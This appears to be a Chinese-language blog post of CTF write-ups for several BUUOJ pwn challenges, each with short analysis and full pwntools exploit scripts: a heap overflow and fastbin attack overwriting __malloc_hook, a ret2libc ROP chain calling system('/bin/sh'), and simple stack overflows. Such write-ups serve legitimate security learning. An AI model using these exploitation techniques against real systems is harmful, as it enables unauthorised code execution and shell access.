babyheap_0ctf_2017
这个题目保护全开,我们分析一下它的数据结构:
可以看出,在一个程序分配出的地址上,存储了堆块是否被使用的flag,和堆块的size和堆块的内存指针,同时值得注意的是calloc,它和malloc有所不同,它分配的堆块的内容会被清0 。
在fill函数里面,我们很容易看出其存在堆溢出,因为输入的size可以由用户决定。
exp
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./babyheap_0ctf_2017"
libcversion = '2.23'
local = 0
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("node3.buuoj.cn",29799)
def get_libc(addr,addr_name):
global libc,libcbase
libc = LibcSearcher(str(addr_name),addr)
libcbase = addr - libc.dump(addr_name)
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def calloc(size):
r.recvuntil("Command: ")
r.sendline("1")
r.recvuntil("Size: ")
r.sendline(str(size))
def fill(idx,size,context):
r.recvuntil("Command: ")
r.sendline("2")
r.recvuntil("Index: ")
r.sendline(str(idx))
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Content: ")
r.send(context)
def free(idx):
r.recvuntil("Command: ")
r.sendline("3")
r.recvuntil("Index: ")
r.sendline(str(idx))
def dump(idx):
r.recvuntil("Command: ")
r.sendline("4")
r.recvuntil("Index: ")
r.sendline(str(idx))
calloc(0x10) #0
calloc(0x10) #1
calloc(0x80) #2
fill(0,0x20,"a"*0x10 + p64(0) + p64(0xb1))
free(1)
calloc(0xa0) #1
fill(1,0x20,"a"*0x10 + p64(0) + p64(0x91))
#gdb.attach(r)
calloc(0x10) #3
free(2)
dump(1)
r.recvuntil("\x7f")
__libc_start_main_addr = u64(r.recvuntil("\x7f").strip("\x00").ljust(8,"\x00")) - 0x3a4438
confirm(__libc_start_main_addr)
get_libc(__libc_start_main_addr,"__libc_start_main")
confirm(libcbase)
malloc_hook_addr = libcbase + libc.dump("__malloc_hook")
confirm(malloc_hook_addr)
one_gadget = 0x4526a + libcbase
calloc(0x68) #2
calloc(0x68) #4
free(4)
fill(2,0xc0,"a"*0xa0 + p64(0) + p64(0x71) + p64(malloc_hook_addr-0x23) + p64(0))
calloc(0x60) #4
calloc(0x60) #5
fill(5,0x8+0x13,0x13*"A" + p64(one_gadget))
calloc(0x10)
ciscn_2019_c_1
普通的栈溢出,但是这个题目有个加密的函数
然后自然要联想到解密嘛,所以我就写了脚本将pyload打进去之前先加密,然后利用程序的异或解密,但是我虽然成功泄露出了地址但是还是没办法getshell,第二个payload打进去的时候好像会被改乱,呜呜呜,而且好像timeout了,所以想别的思路,卡了半天,才发现strlen()的”\x00”截断可以帮助break从而跳过加解密,哭了。
下面贴一个很混乱的脚本,主要是本地打通,远程一直打不通,地址什么泄露的都没问题,不知道为啥,换了多种方式,最终觉得我不配。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
r = remote("node3.buuoj.cn",29846)
#r = process("./ciscn_2019_c_1")
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
file = ELF("./ciscn_2019_c_1")
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = 0x000000000400B28
__start_addr = 0x000000000400710
encode_addr = 0x0000000004009A0
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
log.info("------------------------------ leak real addr -------------------------------------------")
offset = 0x50+8
pop_rdi_addr = 0x0000000000400c83
payload = "\x00" + (offset - 1)*"b"+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
log.info(hex(len(payload)))
'''
payload_list = []
for x in range(len(payload)):
payload_list.append(payload[x])
# print payload[x]
print payload_list
for x in range(len(payload_list)):
if ord(payload_list[x])<=96 or ord(payload_list[x])>122:
if ord(payload_list[x])<=64 or ord(payload_list[x]) > 90:
if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
payload_list[x] = chr(ord(payload_list[x])^0xf)
else:
payload_list[x] = chr(ord(payload_list[x])^0xe)
else:
payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
print payload_change
'''
r.sendline(payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n",drop=True)
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
libcbase = puts_addr - libc.symbols['puts']
#libc = LibcSearcher("puts",puts_addr)
#libc_puts = libc.dump('puts')
log.info("puts_addr:"+hex(puts_addr))
#gdb.attach(r)
#libcbase = puts_addr-libc_puts
log.info("base_addr:"+hex(libcbase))
#system_addr = libcbase + libc.dump('system')
system_addr = libcbase + 0x04f440
log.info("system_addr:"+hex(system_addr))
binsh_addr = 0x1b3e9a+libcbase
#binsh_addr = libcbase + libc.search("/bin/sh").next()
#binsh_addr = libc.dump("str_bin_sh")+libcbase
log.info("binsh_addr:"+hex(binsh_addr))
#exit_addr = 0x00000000000013213
log.info("------------------------------ leak success! -------------------------------------------")
log.info("------------------------------ getshell -------------------------------------------")
payload ="\x00" + "b"*(offset-1) + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr) + p64(main_addr)
#one_gadget = libcbase + 0x45216
#payload = "b"*offset + p64(one_gadget)
'''
log.info(hex(len(payload)))
payload_list = []
for x in range(len(payload)):
payload_list.append(payload[x])
# print payload[x]
print payload_list
for x in range(len(payload_list)):
if ord(payload_list[x])<=96 or ord(payload_list[x])>122:
if ord(payload_list[x])<=64 or ord(payload_list[x]) > 90:
if ord(payload_list[x])>47 and ord(payload_list[x])<=57:
payload_list[x] = chr(ord(payload_list[x])^0xf)
else:
payload_list[x] = chr(ord(payload_list[x])^0xe)
else:
payload_list[x] = chr(ord(payload_list[x])^0xd)
payload_change = ""
for x in range(len(payload_list)):
payload_change+=payload_list[x]
log.info(hex(len(payload_change)))
print payload_change
'''
r.recvuntil("Input your choice!\n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted\n")
#gdb.attach(r)
r.sendline(payload)
#r.recv()
# r.recv()
#sleep(0.2)
r.interactive()
ciscn_2019_n_1
主函数逻辑简单异常,一看就是利用gets的漏洞改写v2变量,不过值得学习的是浮点数相关知识和一些汇编指令,因为其采用的是SSE指令集
相关汇编指令
pxor ---> 异或指令
movss ---> 单精度复制
ucomiss ---> 比较指令
属实要是算浮点数写进去还挺难的,但是动态调式我们可直接得到相关的数据,完美,然而试了之后发现我太年轻了,不过IDA里面总还是有的。
贴个exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = remote('node3.buuoj.cn',29962)
#r = process('./ciscn_2019_n_1')
payload = 0x2c * 'a' + p32(0x322e3131)
payload = 0x2c * 'a' + p32(0x41348000)
#gdb.attach(r)
r.sendline(payload)
r.interactive()
pwn1_sctf_2016
题目里面关键函数看起来挺乱的。
不过这些C++ std::string之类的不需要逆向,基本没其关键作用
〜std :: string可以忽略,它只是字符串的析构函数,它将在所有实际代码完成后执行。
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator::allocator(&v6);
std::string::string(&v5, "you", &v6);
std::allocator::allocator(&v8);
std::string::string(&v7, "I", &v8);
replace((std::string *)&v4, (std::string *)&input, (std::string *)&v7);
std::string::operator=(&input, &v4, v0, &v5);
std::string::~string((std::string *)&v4);
std::string::~string((std::string *)&v7);
std::allocator::~allocator((int)&v8);
std::string::~string((std::string *)&v5);
std::allocator::~allocator((int)&v6);
v1 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v1);
return printf("So, %s\n", &s);
这些其实你就需要知道用了replace函数就行了,不过看大佬逆向的很完美。
void vuln()
{
char buffer[32];
printf("Greeting");
fgets(buffer, 32, stdin);
// Not sure if the parameters are right here but the idea is the same.
std::string fixed = replace(std::string(buffer), std::string("I"), std::string("you"));
strcpy(buffer, fixed.c_str());
printf("So %s\n", buffer);
}
可以看到replace函数把I替换成了you这就相当于扩大了字符串长度,实现了栈溢出
offset = 21
payload = 'I' * offset + 'a' + p32(0x8048F0D)
r.sendline(payload)
r.interactive()
warmup_csaw_2016
offset = 0x40
r.recvuntil('>')
payload = 'a' * 0x48 + p64(0x00000000040060D)
#debug(0x0000000004006A3)
r.sendline(payload)
题目很简单